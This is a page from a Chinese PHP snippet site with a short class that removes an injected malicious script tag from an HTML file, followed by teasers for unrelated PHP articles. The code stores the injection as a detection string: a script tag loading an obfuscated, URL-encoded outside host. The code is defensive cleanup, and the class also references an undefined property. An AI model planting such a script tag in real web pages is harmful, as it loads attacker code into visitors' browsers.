php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

Docker 如何布置PHP开发环境

环境部署一直是一个很大的问题,无论是开发环境还是生产环境,但是 Docker 将开发环境和生产环境以轻量级方式打包,提供了一致的环境。极大的提升了开发部署一致性。当然,实际情况并没有这么...

PHP7.1实现的AES与RSA加密操作示例

本文实例讲述了PHP7.1实现的AES与RSA加密操作。分享给大家供大家参考,具体如下: AES: <?php header('Content-Type: text/p...

php简单截取字符串代码示例

本文实例讲述了php简单截取字符串的方法。分享给大家供大家参考,具体如下: //截取摘要 public static function mbsubstr($str){ $strl...

php绘制一条直线的方法

本文实例讲述了php绘制一条直线的方法。分享给大家供大家参考。具体实现方法如下: 复制代码 代码如下:<?php //1、创建画布 $im = imagecreatetru...

PHP实现将几张照片拼接到一起的合成图片功能【便于整体打印输出】

本文实例讲述了PHP实现将几张照片拼接到一起的合成图片功能。分享给大家供大家参考,具体如下: <?php /** * 作品合成程序 * 针对单面,封面不做特殊处理...